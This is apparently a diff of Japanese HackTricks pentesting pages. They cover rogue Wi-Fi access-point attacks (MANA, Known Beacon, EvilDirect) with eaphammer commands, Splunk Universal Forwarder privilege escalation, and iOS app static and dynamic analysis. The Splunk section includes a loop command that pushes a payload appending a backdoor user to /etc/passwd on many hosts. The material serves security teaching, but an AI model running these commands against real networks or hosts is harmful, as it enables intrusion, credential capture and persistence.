MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリスト上のネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるように誘引します。
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
**Loud MANA攻撃**は、デバイスが指向プロービングを使用しない場合や、攻撃者にとってその優先ネットワークリスト(PNL)が不明な場合に使用される高度な戦略です。この攻撃は、**同じエリアにいるデバイスはPNLにいくつかのネットワーク名を共有する可能性が高い**という原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名(ESSID)に対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイント(AP)に接続しようとする可能性を高めます。
|
||||
**Loud MANA攻撃**は、デバイスが指向プロービングを使用しない場合や、攻撃者にとってその優先ネットワークリスト(PNL)が不明な場合に使用される高度な戦略です。この攻撃は、**同じエリア内のデバイスがPNLにいくつかのネットワーク名を共有する可能性が高い**という原則に基づいています。選択的に応答するのではなく、この攻撃は観測されたすべてのデバイスの結合PNLに見つかったすべてのネットワーク名(ESSID)に対してプローブ応答をブロードキャストします。この広範なアプローチは、デバイスが馴染みのあるネットワークを認識し、悪意のあるアクセスポイント(AP)に接続しようとする可能性を高めます。
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
|
||||
**Loud MANA攻撃**が不十分な場合、**Known Beacon攻撃**は別のアプローチを提供します。この方法は、**単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします**。これは、多数のネットワークの存在をシミュレートし、被害者のPNL内のESSIDと一致することを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして`--loud`オプションと組み合わせることで増幅できます。
|
||||
**Loud MANA攻撃**が不十分な場合、**Known Beacon攻撃**は別のアプローチを提供します。この方法は、**単語リストから派生した潜在的なESSIDのリストを循環させながら、任意のネットワーク名に応答するAPをシミュレートすることによって接続プロセスをブルートフォースします**。これは、多数のネットワークの存在をシミュレートし、被害者のPNL内のESSIDと一致させることを期待し、作成されたAPへの接続試行を促します。この攻撃は、デバイスを捕らえるためのより攻撃的な試みとして`--loud`オプションと組み合わせることで増幅できます。
|
||||
|
||||
Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のすべてのESSIDが充電されます(これを`--loud`と組み合わせてLoud MANA + Known beacons攻撃を作成することもできます):
|
||||
```bash
|
||||
@ -646,7 +646,7 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす
|
||||
```
|
||||
**既知のビーコンサージ攻撃**
|
||||
|
||||
**既知のビーコンサージ攻撃**は、**ファイルにリストされた各ESSIDのためにビーコフレームを迅速に放送すること**を含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを利用してデバイスのネットワーク選択メカニズムを圧倒します。
|
||||
**既知のビーコンサージ攻撃**は、**ファイルにリストされた各ESSIDのビーコーフレームを迅速に放送すること**を含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを利用してデバイスのネットワーク選択メカニズムを圧倒します。
|
||||
```bash
|
||||
# transmit a burst of 5 forged beacon packets for each entry in list
|
||||
./forge-beacons -i wlan1 \
|
||||
@ -657,19 +657,19 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす
|
||||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、デバイスがWi-Fiを使用して直接接続できるプロトコルです。この機能は、プリンターやテレビなどのさまざまなIoTデバイスに統合されており、デバイス間の直接通信を促進します。Wi-Fi Directの注目すべき特徴は、1つのデバイスが接続を管理するグループオーナーとしての役割を果たすことです。
|
||||
**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、デバイスがWi-Fiを使用して直接接続できるプロトコルです。この機能は、プリンターやテレビなどのさまざまなIoTデバイスに統合されており、デバイス間の直接通信を促進します。Wi-Fi Directの注目すべき特徴は、1つのデバイスが接続を管理するアクセスポイントの役割を担うことで、これをグループオーナーと呼びます。
|
||||
|
||||
Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を通じて確立されており、安全なペアリングのためのいくつかの方法をサポートしています。これには以下が含まれます:
|
||||
Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を通じて確立されており、セキュアなペアリングのためのいくつかの方法をサポートしています。これには以下が含まれます:
|
||||
|
||||
- **Push-Button Configuration (PBC)**
|
||||
- **PINエントリー**
|
||||
- **Near-Field Communication (NFC)**
|
||||
|
||||
これらの方法、特にPINエントリーは、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクターの標的となります。
|
||||
これらの方法、特にPINエントリーは、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクトルの標的となります。
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
|
||||
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続をターゲットにします。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的とします。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
|
||||
|
||||
## References
|
||||
|
||||
@ -684,6 +684,6 @@ Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を
|
||||
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
|
||||
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
|
||||
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
|
||||
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)を確認してください(Facebookでログインし、キャプティブポータルでWPAを模倣する)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,47 +1,47 @@
|
||||
# Splunk LPEと永続性
|
||||
# Splunk LPE and Persistence
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
内部または外部でマシンを**列挙**しているときに**Splunkが実行中**(ポート8090)であることがわかり、運が良ければ**有効な資格情報**を知っている場合、**Splunkサービスを悪用**してSplunkを実行しているユーザーとして**シェルを実行**できます。もしrootが実行している場合、特権をrootに昇格させることができます。
|
||||
もし**内部**または**外部**でマシンを**列挙**しているときに**Splunkが実行中**(ポート8090)であり、運良く**有効な認証情報**を知っている場合、**Splunkサービスを悪用**してSplunkを実行しているユーザーとして**シェルを実行**できます。もしrootが実行している場合、特権をrootに昇格させることができます。
|
||||
|
||||
また、**すでにrootであり、Splunkサービスがlocalhostのみでリッスンしていない場合**、Splunkサービスから**パスワード**ファイルを**盗み**、パスワードを**クラッキング**するか、新しい資格情報を追加できます。そしてホスト上で永続性を維持します。
|
||||
また、もし**すでにrootであり、Splunkサービスがlocalhostのみにリッスンしていない**場合、Splunkサービスから**パスワード**ファイルを**盗み**、パスワードを**クラッキング**したり、新しい認証情報を追加したりできます。そしてホスト上で持続性を維持します。
|
||||
|
||||
下の最初の画像では、Splunkdのウェブページがどのように見えるかを確認できます。
|
||||
|
||||
## Splunk Universal Forwarderエージェントの脆弱性概要
|
||||
## Splunk Universal Forwarder Agent Exploit Summary
|
||||
|
||||
詳細については、投稿を確認してください [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。これは単なる概要です:
|
||||
詳細については、投稿を確認してください [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。これは要約です:
|
||||
|
||||
**脆弱性の概要:**
|
||||
Splunk Universal Forwarderエージェント(UF)をターゲットにした脆弱性は、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。
|
||||
**Exploit Overview:**
|
||||
Splunk Universal Forwarder Agent (UF)をターゲットにしたエクスプロイトは、エージェントのパスワードを持つ攻撃者がエージェントを実行しているシステム上で任意のコードを実行できるようにし、ネットワーク全体を危険にさらす可能性があります。
|
||||
|
||||
**重要なポイント:**
|
||||
**Key Points:**
|
||||
|
||||
- UFエージェントは、受信接続やコードの真正性を検証しないため、不正なコード実行に対して脆弱です。
|
||||
- 一般的なパスワード取得方法には、ネットワークディレクトリ、ファイル共有、または内部文書での発見が含まれます。
|
||||
- 成功した脆弱性の悪用は、侵害されたホストでのSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。
|
||||
- 成功したエクスプロイトは、侵害されたホスト上でSYSTEMまたはrootレベルのアクセス、データの流出、さらなるネットワーク侵入につながる可能性があります。
|
||||
|
||||
**脆弱性の実行:**
|
||||
**Exploit Execution:**
|
||||
|
||||
1. 攻撃者がUFエージェントのパスワードを取得します。
|
||||
2. Splunk APIを利用してエージェントにコマンドやスクリプトを送信します。
|
||||
3. 可能なアクションには、ファイル抽出、ユーザーアカウントの操作、システムの侵害が含まれます。
|
||||
|
||||
**影響:**
|
||||
**Impact:**
|
||||
|
||||
- 各ホストでSYSTEM/rootレベルの権限を持つ完全なネットワーク侵害。
|
||||
- 検出を回避するためのログの無効化の可能性。
|
||||
- バックドアやランサムウェアのインストール。
|
||||
|
||||
**悪用のための例コマンド:**
|
||||
**Example Command for Exploitation:**
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
**使用可能な公開エクスプロイト:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## Splunkクエリの悪用
|
||||
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## iOSの基本
|
||||
## iOS Basics
|
||||
|
||||
{{#ref}}
|
||||
ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
## テスト環境
|
||||
## Testing Environment
|
||||
|
||||
このページでは、**iOSシミュレーター**、**エミュレーター**、および**脱獄**に関する情報を見つけることができます:
|
||||
|
||||
@ -16,38 +16,38 @@ ios-basics.md
|
||||
ios-testing-environment.md
|
||||
{{#endref}}
|
||||
|
||||
## 初期分析
|
||||
## Initial Analysis
|
||||
|
||||
### 基本的なiOSテスト操作
|
||||
### Basic iOS Testing Operations
|
||||
|
||||
テスト中に**いくつかの操作が提案されます**(デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、いくつかのツールを使用するなど)。したがって、これらの操作のいずれかを実行する方法がわからない場合は、**ページを読み始めてください**:
|
||||
テスト中に**いくつかの操作が提案されます**(デバイスに接続、ファイルの読み書き/アップロード/ダウンロード、いくつかのツールを使用するなど)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、**ページを読み始めてください**:
|
||||
|
||||
{{#ref}}
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> 次のステップのために、**アプリがデバイスにインストールされている必要があります**、また、アプリケーションの**IPAファイル**をすでに取得している必要があります。\
|
||||
> [!TIP]
|
||||
> 次のステップのために、**アプリがデバイスにインストールされている必要があります**、そしてアプリケーションの**IPAファイル**をすでに取得している必要があります。\
|
||||
> これを行う方法を学ぶには、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページをお読みください。
|
||||
|
||||
### 基本的な静的分析
|
||||
### Basic Static Analysis
|
||||
|
||||
興味深いiOS - IPAファイルのデコンパイラ:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
IPAファイルに対して自動静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。
|
||||
|
||||
**バイナリに存在する保護の識別**:
|
||||
|
||||
- **PIE (Position Independent Executable)**: 有効な場合、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測することが難しくなります。
|
||||
- **PIE (Position Independent Executable)**: 有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされ、初期メモリアドレスを予測するのが難しくなります。
|
||||
|
||||
```bash
|
||||
otool -hv <app-binary> | grep PIE # PIEフラグが含まれている必要があります
|
||||
```
|
||||
|
||||
- **スタックカナリア**: スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。
|
||||
- **Stack Canaries**: スタックの整合性を検証するために、関数を呼び出す前にスタックに「カナリア」値が置かれ、関数が終了した後に再度検証されます。
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_failシンボルが含まれている必要があります
|
||||
@ -59,7 +59,7 @@ otool -I -v <app-binary> | grep stack_chk # stack_chk_guardおよびstack_chk_
|
||||
otool -I -v <app-binary> | grep objc_release # _objc_releaseシンボルが含まれている必要があります
|
||||
```
|
||||
|
||||
- **暗号化されたバイナリ**: バイナリは暗号化されている必要があります
|
||||
- **Encrypted Binary**: バイナリは暗号化されている必要があります
|
||||
|
||||
```bash
|
||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # cryptidは1である必要があります
|
||||
@ -133,13 +133,13 @@ grep -iER "_printf"
|
||||
grep -iER "_vsprintf"
|
||||
```
|
||||
|
||||
### 基本的な動的分析
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)が実行する動的分析を確認してください。さまざまなビューをナビゲートし、それらと対話する必要がありますが、他のことを行う際にいくつかのクラスをフックし、完了するとレポートを準備します。
|
||||
|
||||
### インストールされたアプリのリスト
|
||||
### Listing Installed Apps
|
||||
|
||||
`frida-ps -Uai`コマンドを使用して、インストールされたアプリの**バンドル識別子**を特定します:
|
||||
インストールされたアプリの**バンドル識別子**を特定するには、コマンド`frida-ps -Uai`を使用してください:
|
||||
```bash
|
||||
$ frida-ps -Uai
|
||||
PID Name Identifier
|
||||
@ -168,30 +168,30 @@ ios-hooking-with-objection.md
|
||||
- **`_CodeSignature/`**: このディレクトリには、バンドル内のすべてのファイルの整合性を保証する署名を含むplistファイルが含まれています。
|
||||
- **`Assets.car`**: アイコンなどのアセットファイルを保存する圧縮アーカイブです。
|
||||
- **`Frameworks/`**: このフォルダには、`.dylib`または`.framework`ファイルの形式でアプリケーションのネイティブライブラリが格納されています。
|
||||
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
|
||||
- **`PlugIns/`**: これは、アプリケーションの拡張機能である`.appex`ファイルを含む場合がありますが、常に存在するわけではありません。 \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): アプリケーションの永続データをオフラインで保存し、一時データをキャッシュし、単一デバイス上でアプリに元に戻す機能を追加するために使用されます。単一のiCloudアカウント内で複数のデバイス間でデータを同期するために、Core Dataは自動的にスキーマをCloudKitコンテナにミラーリングします。
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo`ファイルは、アプリケーションまたはバンドルのタイプとクリエイターコードを指定するための代替手段です。
|
||||
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースです。
|
||||
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドルされたすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
|
||||
- **en.lproj, fr.proj, Base.lproj**: 特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。
|
||||
- **セキュリティ**: `_CodeSignature/`ディレクトリは、デジタル署名を通じてバンドル内のすべてのファイルの整合性を検証することにより、アプリのセキュリティに重要な役割を果たします。
|
||||
- **アセット管理**: `Assets.car`ファイルは圧縮を使用してグラフィカルアセットを効率的に管理し、アプリケーションのパフォーマンスを最適化し、全体のサイズを削減するために重要です。
|
||||
- **FrameworksとPlugIns**: これらのディレクトリはiOSアプリケーションのモジュール性を強調し、開発者が再利用可能なコードライブラリ(`Frameworks/`)を含めたり、アプリの機能を拡張したりすることを可能にします。
|
||||
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことでグローバルなアプリケーションのリーチを促進します。
|
||||
- **ローカリゼーション**: この構造は複数の言語をサポートし、特定の言語パックのリソースを含むことで、グローバルなアプリケーションの展開を促進します。
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探索については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
|
||||
**Info.plist**はiOSアプリケーションの基盤として機能し、**キー-バリュー**ペアの形式で重要な設定データをカプセル化しています。このファイルは、アプリケーションだけでなく、バンドル内のアプリ拡張やフレームワークにも必須です。XMLまたはバイナリ形式で構成されており、アプリの権限からセキュリティ設定までの重要な情報を保持しています。利用可能なキーの詳細な探求については、[**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc)を参照できます。
|
||||
|
||||
このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に実現できます(バージョン10.2以降でネイティブに利用可能)またはLinux上で`plistutil`を使用します。変換のコマンドは次のとおりです:
|
||||
このファイルをよりアクセスしやすい形式で操作したい場合、macOS上で`plutil`を使用することでXML変換を簡単に行うことができます(バージョン10.2以降でネイティブに利用可能)またはLinux上で`plistutil`を使用します。変換のためのコマンドは次のとおりです:
|
||||
|
||||
- **macOS用**:
|
||||
- **macOSの場合**:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
- **Linuxの場合**:
|
||||
- **Linux用**:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
**Info.plist** ファイルが明らかにできる膨大な情報の中で、注目すべき項目にはアプリの権限文字列 (`UsageDescription`)、カスタムURLスキーム (`CFBundleURLTypes`)、およびアプリトランスポートセキュリティの設定 (`NSAppTransportSecurity`) が含まれます。これらの項目は、エクスポート/インポートされたカスタムドキュメントタイプ (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`) のような他の項目とともに、ファイルを検査するか、単純な `grep` コマンドを使用することで簡単に見つけることができます:
|
||||
**Info.plist**ファイルが明らかにできる膨大な情報の中で、注目すべき項目にはアプリの権限文字列(`UsageDescription`)、カスタムURLスキーム(`CFBundleURLTypes`)、およびApp Transport Securityの設定(`NSAppTransportSecurity`)が含まれます。これらの項目は、エクスポート/インポートされたカスタムドキュメントタイプ(`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`)などとともに、ファイルを検査するか、単純な`grep`コマンドを使用することで簡単に見つけることができます:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -202,9 +202,9 @@ iOS環境では、ディレクトリは**システムアプリケーション**
|
||||
> [!WARNING]
|
||||
> iOSのアプリケーションはサンドボックス化される必要があるため、各アプリには**`$HOME/Library/Containers`**内にアプリの**`CFBundleIdentifier`**をフォルダ名とするフォルダも存在します。
|
||||
>
|
||||
> ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、両方のファイルを`MCMetadataIdentifier`キーでリンクするファイル**`.com.apple.mobile_container_manager.metadata.plist`**があります。
|
||||
> ただし、両方のフォルダ(データフォルダとコンテナフォルダ)には、`MCMetadataIdentifier`キーで両方のファイルをリンクする**`.com.apple.mobile_container_manager.metadata.plist`**ファイルがあります。
|
||||
|
||||
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下はこのコマンドの使用例です:
|
||||
ユーザーインストールアプリのインストールディレクトリを発見するために、**objection tool**は便利なコマンド`env`を提供します。このコマンドは、対象のアプリに関する詳細なディレクトリ情報を表示します。以下は、このコマンドの使用例です:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -219,7 +219,7 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
`ps`や`lsof`のようなコマンドは、アプリのプロセスを特定し、それぞれオープンファイルをリストするためにも利用でき、アプリケーションのアクティブなディレクトリパスに関する洞察を提供します:
|
||||
`ps`や`lsof`のようなコマンドは、アプリのプロセスを特定し、それぞれオープンファイルをリストするために利用でき、アプリケーションのアクティブなディレクトリパスに関する洞察を提供します:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
@ -230,20 +230,20 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- これはIPAで以前に見たアプリケーションバンドルで、重要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイル済みバイナリを含みます。
|
||||
- このディレクトリはユーザーに見えますが、**ユーザーは書き込むことができません**。
|
||||
- このディレクトリの内容は**バックアップされません**。
|
||||
- このフォルダの内容は**コード署名を検証するために使用されます**。
|
||||
- このフォルダの内容は**コード署名を検証するため**に使用されます。
|
||||
|
||||
**データディレクトリ:**
|
||||
|
||||
- **Documents/**
|
||||
- ユーザー生成データをすべて含みます。アプリケーションのエンドユーザーがこのデータの作成を開始します。
|
||||
- ユーザーが生成したすべてのデータを含みます。アプリケーションのエンドユーザーがこのデータの作成を開始します。
|
||||
- ユーザーに見え、**ユーザーは書き込むことができます**。
|
||||
- このディレクトリの内容は**バックアップされます**。
|
||||
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
|
||||
- **Library/**
|
||||
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)設定ファイルなど、**ユーザー固有でないすべてのファイル**を含みます。
|
||||
- **キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)設定ファイルなど、**ユーザー固有でない**すべての**ファイル**を含みます。
|
||||
- iOSアプリは通常`Application Support`および`Caches`サブディレクトリを使用しますが、アプリはカスタムサブディレクトリを作成できます。
|
||||
- **Library/Caches/**
|
||||
- **セミ永続的なキャッシュファイル**を含みます。
|
||||
- **半永続的なキャッシュファイル**を含みます。
|
||||
- ユーザーには見えず、**ユーザーは書き込むことができません**。
|
||||
- このディレクトリの内容は**バックアップされません**。
|
||||
- OSはアプリが実行されていないときやストレージスペースが不足しているときに、このディレクトリのファイルを自動的に削除することがあります。
|
||||
@ -254,7 +254,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- アプリは`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にできます。
|
||||
- **Library/Preferences/**
|
||||
- アプリケーションが再起動された後でも**持続する**プロパティを保存するために使用されます。
|
||||
- 情報は、アプリケーションサンドボックス内のplistファイル\[BUNDLE_ID].plistに暗号化されずに保存されます。
|
||||
- 情報は、アプリケーションサンドボックス内の暗号化されていないplistファイル\[BUNDLE_ID].plistに保存されます。
|
||||
- `NSUserDefaults`を使用して保存されたすべてのキー/値ペアはこのファイルに見つかります。
|
||||
- **tmp/**
|
||||
- アプリの起動間で持続する必要のない**一時ファイル**を書くためにこのディレクトリを使用します。
|
||||
@ -371,27 +371,27 @@ ios-basics.md
|
||||
|
||||
### Plist
|
||||
|
||||
**plist**ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、時には**これらのファイルに機密情報が含まれている**ことがあります。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。
|
||||
**plist**ファイルは、**キーと値のペア**を含む構造化されたXMLファイルです。永続的なデータを保存する方法であり、時には**これらのファイルに機密情報が含まれている**ことがあります。アプリをインストールした後、または集中的に使用した後にこれらのファイルを確認することをお勧めします。
|
||||
|
||||
plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**を使用することです。このplistファイルは、**`Library/Preferences/<appBundleID>.plist`**のアプリサンドボックス内に保存されます。
|
||||
|
||||
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトシステムと対話するためのプログラムインターフェースを提供します。デフォルトシステムは、アプリケーションが**ユーザーの好みに応じて**動作をカスタマイズできるようにします。`NSUserDefaults`によって保存されたデータは、アプリケーションバンドル内で表示できます。このクラスは、**plist** **ファイル**に**データ**を保存しますが、少量のデータで使用することを意図しています。
|
||||
|
||||
このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスできます。
|
||||
このデータは、信頼できるコンピュータを介して直接アクセスすることはできませんが、**バックアップ**を行うことでアクセスできます。
|
||||
|
||||
**`NSUserDefaults`**を使用して保存された情報をダンプするには、objectionの`ios nsuserdefaults get`を使用します。
|
||||
**`NSUserDefaults`**を使用して保存された情報を**ダンプ**するには、objectionの`ios nsuserdefaults get`を使用します。
|
||||
|
||||
アプリケーションで使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します:
|
||||
アプリケーションによって使用されているすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスし、次のコマンドを実行します:
|
||||
```bash
|
||||
find ./ -name "*.plist"
|
||||
```
|
||||
ファイルを**XMLまたはバイナリ(bplist)**形式からXMLに変換するために、オペレーティングシステムに応じたさまざまな方法が利用可能です:
|
||||
**XMLまたはバイナリ(bplist)**形式のファイルをXMLに変換するためのさまざまな方法が、オペレーティングシステムに応じて利用可能です。
|
||||
|
||||
**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれているツールで、この目的のために設計されています:
|
||||
**macOSユーザー向け:** `plutil`コマンドを利用します。これはmacOS(10.2以上)に組み込まれているツールで、この目的のために設計されています:
|
||||
```bash
|
||||
$ plutil -convert xml1 Info.plist
|
||||
```
|
||||
**Linuxユーザー向け:** まず `libplist-utils` をインストールし、その後 `plistutil` を使用してファイルを変換します:
|
||||
**Linuxユーザー向け:** まず`libplist-utils`をインストールし、その後`plistutil`を使用してファイルを変換します:
|
||||
```bash
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
@ -433,20 +433,20 @@ NSLog(@"data stored in core data");
|
||||
```
|
||||
### YapDatabase
|
||||
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase) は、SQLiteの上に構築されたキー/バリューストアです。\
|
||||
[YapDatabase](https://github.com/yapstudios/YapDatabase)は、SQLiteの上に構築されたキー/バリューストアです。\
|
||||
